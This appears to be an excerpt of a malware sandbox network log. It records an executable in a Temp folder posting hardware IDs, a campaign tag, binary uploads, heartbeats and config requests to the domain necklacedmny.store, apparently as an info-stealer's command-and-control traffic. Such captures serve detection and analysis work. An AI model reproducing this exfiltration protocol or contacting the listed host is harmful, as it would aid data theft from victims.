CF-RAY: 8da045999b666b79-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1422&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=2056818&cwnd=239&unsent_bytes=0&cid=e2fb0339da857e65&ts=12122&x=0"
2024-10-29 04:02:57 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:02:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49934	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 04:02:58 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:02:58 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gof4elnmd6vo17otjlvpr09l74; expires=Fri, 21 Feb 2025 21:49:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uyhpmflxfPVphwH7eUWhqYrk3%2FGeA7VoUPvkJInS6y2var5wx%2BIcFD4eTZc8%2B%2ByeZdTvOPTE6jInEwaCeiGDyUTn7expMn%2FXedm3lV2qCxVYTlIwckjlaNkCwgqJANZfgJZDuw8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da045eaff48e5f2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1125&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2475213&cwnd=251&unsent_bytes=0&cid=c4574cd89b8d7513&ts=635&x=0"
2024-10-29 04:02:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:02:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49946	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:00 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 04:03:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:00 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 04:03:07 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iq7k4bc1br6a378paehvujh3br; expires=Fri, 21 Feb 2025 21:49:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=euIVt68dQbeUEOnAFAGAqu%2Fq%2BHn8YpFrbNnHIrjUrWPkeoO2eEFnlzPvGASmvGs4uCNBQCJtpRuCwll2dx7sMkNRvrxrFWGVT3ErLSlaeUhJj%2Fm3ZtbsQlSrZy2YVvNaJUwO4mE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da045f66b38eaa0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1073&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21536&delivery_rate=2592658&cwnd=239&unsent_bytes=0&cid=fabe6ab69a490970&ts=7826&x=0"
2024-10-29 04:03:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49954	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 04:03:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 04:03:01 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rk8cmilan1a37im44lb07f821p; expires=Fri, 21 Feb 2025 21:49:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LihpyTfETJH0mrseKs15MRSRfmCT9CS4P6v7nQpZsmAQZxdQDtxGdAwigof1OQBvLafgflnZF8lrF737FtbfjHN3FdqiaA4nBhT7QurRwe5qEkfc%2Fr86kjfr84%2BSmJ%2BZohL1jUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da045fc0cc7e94e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1705535&cwnd=251&unsent_bytes=0&cid=7a6ff1e243c485b1&ts=378&x=0"
2024-10-29 04:03:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 04:03:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49965	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 04:03:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 04:03:03 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hndikoikbqjouf9ae59f0jlfs8; expires=Fri, 21 Feb 2025 21:49:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sCad0wAlol1ts8wNH182bfRE605OLp%2Fjr82J4oHxrL%2FWPFnQLUGreiuvotDoEbAaXsNFBG0LaqTc5C4V37eOzpxCJOerPVdWoDpf7OYsPPD21xyQFFf8ln4ZzjkDCrIxtuvpNE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da04605ae086b97-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1035&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2590339&cwnd=251&unsent_bytes=0&cid=e2bbc91ab33c5716&ts=479&x=0"
2024-10-29 04:03:03 UTC	358	IN	Data Raw: 34 64 62 0d 0a 6b 55 68 78 65 4d 59 39 35 4d 58 4b 64 4e 72 37 61 54 32 4e 70 6f 64 59 6f 6f 32 56 2f 2f 51 57 54 45 6a 47 53 56 72 43 64 4d 58 71 61 67 64 61 2f 41 6e 49 35 37 6b 52 2b 4d 45 64 54 2f 6a 44 71 33 72 44 36 62 66 46 6b 6e 63 67 4f 36 4e 6c 65 4c 51 5a 35 36 73 75 45 42 53 31 57 4d 6a 6e 72 77 7a 34 77 54 4a 47 72 38 50 70 65 70 69 76 38 4a 57 57 64 79 41 71 70 79 49 31 73 68 69 6d 2b 53 51 57 45 4b 4e 65 67 4b 53 6d 47 62 2b 65 44 46 7a 6e 79 4f 34 31 79 75 43 33 30 39 5a 7a 4e 6d 72 38 61 78 65 6e 41 4b 54 63 4b 51 49 54 35 45 44 49 76 75 67 52 74 4e 6c 54 48 2b 7a 44 35 54 54 45 36 66 36 58 6e 48 34 6f 4b 36 49 6a 4b 71 73 53 72 66 6b 71 46 52 47 70 56 35 53 70 72 42 36 30 6d 41 5a 63 72 34 71 6c 50 64 69 76 72 39 33 46 52 69 30 37 74 54 Data Ascii: 4dbkUhxeMY95MXKdNr7aT2NpodYoo2V//QWTEjGSVrCdMXqagda/AnI57kR+MEdT/jDq3rD6bfFkncgO6NleLQZ56suEBS1WMjnrwz4wTJGr8Ppepiv8JWWdyAqpyI1shim+SQWEKNegKSmGb+eDFznyO41yuC309ZzNmr8axenAKTcKQIT5EDIvugRtNlTH+zD5TTE6f6XnH4oK6IjKqsSrfkqFRGpV5SprB60mAZcr4qlPdivr93FRi07tT
2024-10-29 04:03:03 UTC	892	IN	Data Raw: 42 32 7a 6e 42 6c 55 35 73 6e 6f 4f 73 33 6c 2b 4a 36 57 63 79 51 67 71 79 45 38 72 52 75 68 38 79 70 54 56 4f 52 59 6e 75 66 77 56 70 75 63 47 31 6a 6a 30 71 63 41 67 50 43 35 68 4e 5a 7a 49 6d 72 38 61 7a 43 6c 46 61 54 34 4a 52 41 53 72 30 32 47 74 61 34 62 76 59 73 4e 57 75 48 4f 35 69 6a 4b 34 66 47 65 6e 33 38 6e 4c 36 4d 76 65 4f 35 57 6f 4f 74 71 53 31 71 46 55 6f 32 72 6f 67 47 34 32 52 51 52 39 6f 54 69 4e 6f 43 33 74 35 6d 58 63 43 38 75 71 69 55 38 72 42 43 70 2f 69 55 56 45 4b 52 59 6a 4b 2b 67 46 37 57 53 42 46 2f 71 79 65 45 38 7a 4f 37 79 33 64 67 30 4b 54 4c 6b 63 33 69 4f 45 61 54 68 61 43 59 5a 71 6c 47 42 73 65 67 4a 39 6f 42 4c 57 4f 4f 45 76 58 72 4f 36 76 69 50 6c 32 59 72 4a 4c 59 6e 50 61 59 62 70 50 30 71 46 68 32 70 55 59 43 67 Data Ascii: B2znBlU5snoOs3l+J6WcyQgqyE8rRuh8ypTVORYnufwVpucG1jj0qcAgPC5hNZzImr8azClFaT4JRASr02Gta4bvYsNWuHO5ijK4fGen38nL6MveO5WoOtqS1qFUo2rogG42RQR9oTiNoC3t5mXcC8uqiU8rBCp/iUVEKRYjK+gF7WSBF/qyeE8zO7y3dg0KTLkc3iOEaThaCYZqlGBsegJ9oBLWOOEvXrO6viPl2YrJLYnPaYbpP0qFh2pUYCg
2024-10-29 04:03:03 UTC	1369	IN	Data Raw: 32 30 61 64 0d 0a 67 55 6f 6d 75 6f 52 2b 71 6b 77 64 52 2f 63 6e 76 50 38 37 6a 38 70 4b 57 64 53 38 6b 72 69 42 34 37 6c 61 67 36 32 70 4c 57 6f 74 53 6c 72 57 69 48 61 6e 62 50 6c 7a 68 79 75 49 73 67 50 43 35 68 4e 5a 7a 49 6d 72 38 61 7a 4f 6d 47 71 76 7a 4c 41 45 55 71 30 32 4d 74 61 77 59 76 4a 55 46 56 75 4c 4c 34 43 6a 45 37 2b 57 63 6b 33 4d 67 4a 37 59 75 65 4f 35 57 6f 4f 74 71 53 31 71 65 61 34 47 33 75 52 48 36 72 41 68 52 34 63 50 7a 65 74 2b 68 37 74 32 52 65 47 35 79 35 43 67 30 72 52 2b 69 2f 44 67 5a 46 71 56 4e 67 61 36 68 48 4c 6d 58 42 46 54 6a 77 66 63 78 7a 2b 66 34 6e 4a 74 35 4a 53 36 6b 61 33 62 67 45 62 2b 7a 63 6c 4d 37 71 56 43 55 70 4c 6c 55 6a 5a 6f 46 55 65 6a 53 70 53 57 4f 39 72 65 61 6d 6a 52 32 61 71 55 6e 4e 4b 45 5a Data Ascii: 20adgUomuoR+qkwdR/cnvP87j8pKWdS8kriB47lag62pLWotSlrWiHanbPlzhyuIsgPC5hNZzImr8azOmGqvzLAEUq02MtawYvJUFVuLL4CjE7+Wck3MgJ7YueO5WoOtqS1qea4G3uRH6rAhR4cPzet+h7t2ReG5y5Cg0rR+i/DgZFqVNga6hHLmXBFTjwfcxz+f4nJt5JS6ka3bgEb+zclM7qVCUpLlUjZoFUejSpSWO9reamjR2aqUnNKEZ
2024-10-29 04:03:03 UTC	1369	IN	Data Raw: 51 52 72 31 75 43 70 36 55 64 74 70 63 43 55 2b 66 49 34 69 6a 4e 36 76 2b 58 6e 33 45 69 4a 36 63 35 4f 36 46 57 36 62 4d 74 43 31 72 38 48 36 47 55 6e 7a 58 34 68 6b 56 47 72 38 50 70 65 70 69 76 39 70 57 52 65 69 6f 34 71 6a 6b 32 70 78 61 68 2b 79 49 55 46 71 70 52 6c 4b 2b 70 46 72 61 57 41 31 62 72 78 65 45 2b 7a 4f 69 33 30 39 5a 7a 4e 6d 72 38 61 78 43 6a 44 4c 32 78 42 42 67 61 6f 30 2b 51 76 4f 67 4a 39 6f 42 4c 57 4f 4f 45 76 58 72 45 35 50 32 55 6c 58 30 71 4a 36 51 69 4e 36 6b 65 71 76 73 34 45 68 43 32 57 34 4f 6d 70 78 79 38 6b 51 64 51 34 38 44 33 4d 59 43 68 74 35 71 4f 4e 48 5a 71 68 43 41 75 67 77 53 31 73 7a 56 64 41 2b 52 59 69 75 66 77 56 72 47 56 43 6c 37 6c 77 75 34 2f 7a 65 2f 79 6c 35 46 34 4c 69 71 6e 4c 54 36 74 48 71 2f 2f 4a Data Ascii: QRr1uCp6UdtpcCU+fI4ijN6v+Xn3EiJ6c5O6FW6bMtC1r8H6GUnzX4hkVGr8Ppepiv9pWReio4qjk2pxah+yIUFqpRlK+pFraWA1brxeE+zOi309ZzNmr8axCjDL2xBBgao0+QvOgJ9oBLWOOEvXrE5P2UlX0qJ6QiN6keqvs4EhC2W4Ompxy8kQdQ48D3MYCht5qONHZqhCAugwS1szVdA+RYiufwVrGVCl7lwu4/ze/yl5F4LiqnLT6tHq//J
2024-10-29 04:03:03 UTC	1369	IN	Data Raw: 61 6a 71 79 75 47 4c 6d 66 42 31 4b 76 69 71 55 39 32 4b 2b 76 33 62 46 75 49 79 79 7a 4f 67 32 6e 46 76 61 7a 4e 56 30 44 35 46 69 4b 35 2f 42 57 74 5a 55 42 55 75 72 41 37 54 33 44 37 76 75 5a 6d 33 6b 71 49 36 41 75 4b 72 49 51 71 66 4d 6c 48 52 57 6f 54 59 69 69 71 42 72 34 31 30 74 59 39 34 53 39 65 76 48 34 39 39 32 4a 4f 6a 64 71 6f 79 64 34 2b 46 61 6f 2f 6a 67 66 46 61 52 65 68 61 4f 6a 45 62 36 66 43 6c 7a 71 78 2b 41 38 77 65 2f 37 6c 35 46 38 4a 43 53 70 4c 54 79 6d 45 4f 65 39 61 68 51 43 35 41 66 47 6c 61 55 59 73 5a 6f 4e 55 76 6e 73 31 48 72 66 6f 65 37 64 6b 58 68 75 63 75 51 76 4d 36 67 61 6f 76 73 76 45 68 4b 75 56 34 6d 6f 75 68 65 33 6b 41 78 55 34 73 76 72 50 38 37 39 38 4a 61 64 66 43 63 6b 6f 6d 74 32 34 42 47 2f 73 33 4a 54 4c 4b Data Ascii: ajqyuGLmfB1KviqU92K+v3bFuIyyzOg2nFvazNV0D5FiK5/BWtZUBUurA7T3D7vuZm3kqI6AuKrIQqfMlHRWoTYiiqBr410tY94S9evH4992JOjdqoyd4+Fao/jgfFaRehaOjEb6fClzqx+A8we/7l5F8JCSpLTymEOe9ahQC5AfGlaUYsZoNUvns1Hrfoe7dkXhucuQvM6gaovsvEhKuV4mouhe3kAxU4svrP8798JadfCckomt24BG/s3JTLK
2024-10-29 04:03:03 UTC	1369	IN	Data Raw: 6f 42 4b 32 69 77 70 51 72 34 71 6c 50 64 69 76 72 39 32 6e 59 69 6b 74 71 32 6b 52 70 77 32 6d 2b 53 6b 59 46 75 52 41 79 4c 37 6f 45 62 54 5a 55 78 2f 69 79 4f 67 2b 30 75 50 33 6e 5a 39 7a 4a 44 69 72 4a 44 57 6a 46 71 4c 68 4b 77 45 56 72 31 71 46 6f 36 63 5a 74 4a 45 42 48 36 47 45 34 69 4b 41 74 37 65 78 6c 57 55 6b 61 49 4d 78 4c 71 63 61 74 76 67 6e 48 31 71 37 45 5a 2f 6e 72 78 72 34 77 55 74 66 37 73 6e 33 50 38 48 6c 2f 5a 43 65 65 79 73 76 71 79 38 38 71 78 69 31 2f 53 55 54 48 4b 39 65 67 36 53 6a 48 4c 61 51 47 52 2b 68 68 4f 49 69 67 4c 65 33 74 34 31 31 49 79 62 6d 42 54 4f 32 45 65 58 53 4a 42 67 64 71 45 6e 47 75 4f 59 50 2b 4a 34 48 48 37 65 45 37 44 54 4d 37 50 43 56 6e 6e 45 75 49 61 51 6b 4d 71 34 52 74 66 6b 6d 47 51 69 72 58 49 75 Data Ascii: oBK2iwpQr4qlPdivr92nYiktq2kRpw2m+SkYFuRAyL7oEbTZUx/iyOg+0uP3nZ9zJDirJDWjFqLhKwEVr1qFo6cZtJEBH6GE4iKAt7exlWUkaIMxLqcatvgnH1q7EZ/nrxr4wUtf7sn3P8Hl/ZCeeysvqy88qxi1/SUTHK9eg6SjHLaQGR+hhOIigLe3t411IybmBTO2EeXSJBgdqEnGuOYP+J4HH7eE7DTM7PCVnnEuIaQkMq4RtfkmGQirXIu
2024-10-29 04:03:03 UTC	1369	IN	Data Raw: 6f 42 4c 57 4f 4f 45 76 58 72 41 36 2f 75 65 6b 58 6f 68 4a 36 73 73 4d 36 38 63 71 65 45 6c 46 68 4b 6f 56 34 75 31 6f 68 79 71 6b 41 4a 53 34 63 7a 33 4f 59 43 68 74 35 71 4f 4e 48 5a 71 6c 69 45 37 72 41 43 71 2f 47 6f 4d 56 4c 30 66 67 61 76 6f 54 76 69 4c 47 56 2f 6b 78 4f 49 30 30 75 37 2f 6b 70 78 30 4b 43 47 75 4b 44 47 6b 47 4b 37 31 4b 78 34 62 70 56 2b 44 70 36 45 45 74 64 6c 46 48 2b 6a 63 70 57 4b 41 32 50 75 57 70 33 63 34 61 72 74 6c 49 65 41 52 71 37 4e 79 55 78 75 32 55 6f 36 6a 71 42 75 2b 6b 67 70 65 37 4d 54 6c 4f 63 44 71 2f 4a 4b 51 63 79 4d 67 72 53 49 71 71 42 4b 31 38 79 59 58 57 75 6f 66 67 62 2f 6f 54 76 69 70 43 46 54 6a 78 4f 67 76 67 50 43 35 68 4e 5a 7a 49 6d 72 38 61 7a 43 72 48 61 48 34 4b 52 41 55 72 31 57 4a 71 4b 49 51 Data Ascii: oBLWOOEvXrA6/uekXohJ6ssM68cqeElFhKoV4u1ohyqkAJS4cz3OYCht5qONHZqliE7rACq/GoMVL0fgavoTviLGV/kxOI00u7/kpx0KCGuKDGkGK71Kx4bpV+Dp6EEtdlFH+jcpWKA2PuWp3c4artlIeARq7NyUxu2Uo6jqBu+kgpe7MTlOcDq/JKQcyMgrSIqqBK18yYXWuofgb/oTvipCFTjxOgvgPC5hNZzImr8azCrHaH4KRAUr1WJqKIQ
2024-10-29 04:03:03 UTC	1369	IN	Data Raw: 37 69 7a 2b 6c 34 77 65 4c 6e 6d 74 59 36 62 69 7a 6b 63 32 6a 75 56 71 50 69 61 6b 74 4b 39 67 54 54 39 50 39 47 36 6f 5a 46 52 71 2f 53 70 57 4b 53 6f 62 65 50 31 69 78 75 62 61 63 35 4b 71 59 56 73 66 42 74 4c 53 53 45 56 49 71 6b 70 42 65 2f 32 55 55 66 34 49 53 39 41 34 44 73 35 59 2f 5a 5a 54 67 6e 74 43 78 30 71 41 65 71 2f 32 70 64 57 75 68 62 6a 61 75 74 45 61 6a 57 47 55 2f 6b 79 50 4e 32 78 50 32 33 30 39 5a 6c 4a 53 57 32 4a 54 2f 76 42 37 48 2b 4f 68 41 66 6f 78 4f 4f 74 71 55 61 2b 4e 64 4c 53 75 54 49 34 7a 66 56 6f 4f 61 4c 6c 57 49 70 5a 71 77 36 4e 61 78 57 6d 4c 31 71 43 31 72 38 48 37 4f 6b 70 68 69 2f 6a 78 6f 53 7a 38 2f 70 4f 63 7a 75 38 4e 33 59 4e 43 68 71 2f 48 68 32 34 42 4b 32 73 33 4a 44 53 50 38 4b 31 66 44 34 52 4b 66 58 45 Data Ascii: 7iz+l4weLnmtY6bizkc2juVqPiaktK9gTT9P9G6oZFRq/SpWKSobeP1ixubac5KqYVsfBtLSSEVIqkpBe/2UUf4IS9A4Ds5Y/ZZTgntCx0qAeq/2pdWuhbjautEajWGU/kyPN2xP2309ZlJSW2JT/vB7H+OhAfoxOOtqUa+NdLSuTI4zfVoOaLlWIpZqw6NaxWmL1qC1r8H7Okphi/jxoSz8/pOczu8N3YNChq/Hh24BK2s3JDSP8K1fD4RKfXE
2024-10-29 04:03:03 UTC	159	IN	Data Raw: 6c 59 70 4f 68 74 34 2f 57 4c 47 35 74 71 69 59 35 6f 78 69 6b 34 54 67 56 47 62 4a 63 77 5a 6d 57 4d 37 57 55 44 6c 48 6f 2b 74 73 62 79 76 2f 36 6b 70 46 4b 45 42 32 31 4c 43 6a 69 4d 4b 54 6c 4b 56 4e 55 35 45 66 47 2f 2b 67 33 73 6f 6b 47 55 4f 69 45 71 33 72 45 72 36 2f 64 73 33 6b 6a 4c 36 6f 73 65 6f 45 63 74 2f 34 6c 46 46 72 71 48 34 72 6e 38 46 61 35 6b 78 74 53 34 4d 4f 70 50 64 72 6f 74 39 50 57 65 6d 35 79 35 43 6f 79 73 42 75 6f 39 47 59 56 46 4b 6f 66 0d 0a Data Ascii: lYpOht4/WLG5tqiY5oxik4TgVGbJcwZmWM7WUDlHo+tsbyv/6kpFKEB21LCjiMKTlKVNU5EfG/+g3sokGUOiEq3rEr6/ds3kjL6oseoEct/4lFFrqH4rn8Fa5kxtS4MOpPdrot9PWem5y5CoysBuo9GYVFKof

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49975	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
